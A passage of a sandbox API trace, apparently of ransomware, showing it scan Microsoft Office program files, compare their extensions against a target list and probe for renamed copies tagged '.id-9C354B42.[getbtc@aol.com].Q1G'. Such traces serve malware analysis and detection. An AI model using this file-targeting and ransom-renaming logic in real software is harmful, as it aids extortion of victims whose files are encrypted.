(lpString1=".rar", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString=".bz2") returned 4 [0258.827] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0258.827] lstrlenW (lpString=".7z") returned 3 [0258.827] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".dbf") returned 4 [0258.827] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".1cd") returned 4 [0258.827] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".jpg") returned 4 [0258.827] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".doc") returned 4 [0258.827] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0258.827] lstrlenW (lpString=".docx") returned 5 [0258.827] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0258.827] lstrlenW (lpString=".pdf") returned 4 [0258.827] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString=".xls") returned 4 [0258.827] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString=".xlsx") returned 5 [0258.827] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0258.827] lstrlenW (lpString=".ppt") returned 4 [0258.827] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".zip") returned 4 [0258.827] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString=".rar") returned 4 [0258.828] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0258.828] lstrlenW (lpString=".bz2") returned 4 [0258.828] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0258.828] lstrlenW (lpString=".7z") returned 3 [0258.828] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0258.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.828] lstrlenW (lpString=".dbf") returned 4 [0258.828] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0258.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.828] lstrlenW (lpString=".1cd") returned 4 [0258.828] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0258.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.828] lstrlenW (lpString=".jpg") returned 4 [0258.828] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0258.828] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.828] lstrlenW (lpString="CMAX20.DLL") returned 10 [0258.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.829] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=722296) returned 1 [0258.829] CloseHandle (hObject=0x390) returned 1 [0258.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll")) returned 0x20 [0258.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString=".doc") returned 4 [0258.830] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString=".docx") returned 5 [0258.830] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0258.830] lstrlenW (lpString=".pdf") returned 4 [0258.830] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString=".xls") returned 4 [0258.830] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString=".xlsx") returned 5 [0258.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0258.830] lstrlenW (lpString=".ppt") returned 4 [0258.830] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString=".zip") returned 4 [0258.830] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString=".rar") returned 4 [0258.830] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.830] lstrlenW (lpString=".bz2") returned 4 [0258.830] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.830] lstrlenW (lpString=".7z") returned 3 [0258.830] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString=".dbf") returned 4 [0258.830] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString=".1cd") returned 4 [0258.830] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.830] lstrlenW (lpString=".jpg") returned 4 [0258.831] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString=".doc") returned 4 [0258.831] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString=".docx") returned 5 [0258.831] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0258.831] lstrlenW (lpString=".pdf") returned 4 [0258.831] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString=".xls") returned 4 [0258.831] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString=".xlsx") returned 5 [0258.831] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0258.831] lstrlenW (lpString=".ppt") returned 4 [0258.831] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString=".zip") returned 4 [0258.831] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString=".rar") returned 4 [0258.831] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.831] lstrlenW (lpString=".bz2") returned 4 [0258.831] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.831] lstrlenW (lpString=".7z") returned 3 [0258.831] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString=".dbf") returned 4 [0258.831] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString=".1cd") returned 4 [0258.831] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0258.831] lstrlenW (lpString=".jpg") returned 4 [0258.831] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.832] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0258.832] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0258.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.832] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=225632) returned 1 [0258.832] CloseHandle (hObject=0x390) returned 1 [0258.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe")) returned 0x20 [0258.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString=".doc") returned 4 [0258.833] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0258.833] lstrlenW (lpString=".docx") returned 5 [0258.833] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0258.833] lstrlenW (lpString=".pdf") returned 4 [0258.833] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0258.833] lstrlenW (lpString=".xls") returned 4 [0258.833] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0258.833] lstrlenW (lpString=".xlsx") returned 5 [0258.833] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0258.833] lstrlenW (lpString=".ppt") returned 4 [0258.833] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString=".zip") returned 4 [0258.833] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0258.833] lstrlenW (lpString=".rar") returned 4 [0258.833] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0258.833] lstrlenW (lpString=".bz2") returned 4 [0258.833] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0258.833] lstrlenW (lpString=".7z") returned 3 [0258.833] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString=".dbf") returned 4 [0258.833] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString=".1cd") returned 4 [0258.833] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.833] lstrlenW (lpString=".jpg") returned 4 [0258.833] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString=".doc") returned 4 [0258.834] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0258.834] lstrlenW (lpString=".docx") returned 5 [0258.834] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0258.834] lstrlenW (lpString=".pdf") returned 4 [0258.834] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString=".xls") returned 4 [0258.834] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString=".xlsx") returned 5 [0258.834] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0258.834] lstrlenW (lpString=".ppt") returned 4 [0258.834] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString=".zip") returned 4 [0258.834] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString=".rar") returned 4 [0258.834] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0258.834] lstrlenW (lpString=".bz2") returned 4 [0258.834] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0258.834] lstrlenW (lpString=".7z") returned 3 [0258.834] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString=".dbf") returned 4 [0258.834] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString=".1cd") returned 4 [0258.834] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0258.834] lstrlenW (lpString=".jpg") returned 4 [0258.834] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0258.834] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.835] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0258.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.835] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=53128) returned 1 [0258.835] CloseHandle (hObject=0x390) returned 1 [0258.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll")) returned 0x20 [0258.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".doc") returned 4 [0258.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".docx") returned 5 [0258.836] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0258.836] lstrlenW (lpString=".pdf") returned 4 [0258.836] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".xls") returned 4 [0258.836] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".xlsx") returned 5 [0258.836] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0258.836] lstrlenW (lpString=".ppt") returned 4 [0258.836] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".zip") returned 4 [0258.836] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".rar") returned 4 [0258.836] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".bz2") returned 4 [0258.836] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.836] lstrlenW (lpString=".7z") returned 3 [0258.836] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".dbf") returned 4 [0258.836] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".1cd") returned 4 [0258.836] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".jpg") returned 4 [0258.836] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.836] lstrlenW (lpString=".doc") returned 4 [0258.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.836] lstrlenW (lpString=".docx") returned 5 [0258.837] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0258.837] lstrlenW (lpString=".pdf") returned 4 [0258.837] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.837] lstrlenW (lpString=".xls") returned 4 [0258.837] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.837] lstrlenW (lpString=".xlsx") returned 5 [0258.837] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0258.837] lstrlenW (lpString=".ppt") returned 4 [0258.837] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.837] lstrlenW (lpString=".zip") returned 4 [0258.837] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.837] lstrlenW (lpString=".rar") returned 4 [0258.837] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.837] lstrlenW (lpString=".bz2") returned 4 [0258.837] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.837] lstrlenW (lpString=".7z") returned 3 [0258.837] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.837] lstrlenW (lpString=".dbf") returned 4 [0258.837] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.837] lstrlenW (lpString=".1cd") returned 4 [0258.837] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0258.837] lstrlenW (lpString=".jpg") returned 4 [0258.837] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.837] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.837] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0258.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.838] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=183160) returned 1 [0258.838] CloseHandle (hObject=0x390) returned 1 [0258.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll")) returned 0x20 [0258.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.838] lstrlenW (lpString=".doc") returned 4 [0258.838] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.838] lstrlenW (lpString=".docx") returned 5 [0258.839] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0258.839] lstrlenW (lpString=".pdf") returned 4 [0258.839] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString=".xls") returned 4 [0258.839] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString=".xlsx") returned 5 [0258.839] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0258.839] lstrlenW (lpString=".ppt") returned 4 [0258.839] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString=".zip") returned 4 [0258.839] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString=".rar") returned 4 [0258.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString=".bz2") returned 4 [0258.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.839] lstrlenW (lpString=".7z") returned 3 [0258.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString=".dbf") returned 4 [0258.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString=".1cd") returned 4 [0258.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString=".jpg") returned 4 [0258.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.839] lstrlenW (lpString=".doc") returned 4 [0258.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.839] lstrlenW (lpString=".docx") returned 5 [0258.839] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0258.839] lstrlenW (lpString=".pdf") returned 4 [0258.839] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.840] lstrlenW (lpString=".xls") returned 4 [0258.840] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.840] lstrlenW (lpString=".xlsx") returned 5 [0258.840] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0258.840] lstrlenW (lpString=".ppt") returned 4 [0258.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.840] lstrlenW (lpString=".zip") returned 4 [0258.840] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.840] lstrlenW (lpString=".rar") returned 4 [0258.840] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.840] lstrlenW (lpString=".bz2") returned 4 [0258.840] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.840] lstrlenW (lpString=".7z") returned 3 [0258.840] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.840] lstrlenW (lpString=".dbf") returned 4 [0258.840] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.840] lstrlenW (lpString=".1cd") returned 4 [0258.840] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0258.840] lstrlenW (lpString=".jpg") returned 4 [0258.840] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.841] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0258.841] lstrlenW (lpString="ContactPicker.dll") returned 17 [0258.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.842] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=222592) returned 1 [0258.842] CloseHandle (hObject=0x390) returned 1 [0258.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll")) returned 0x20 [0258.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 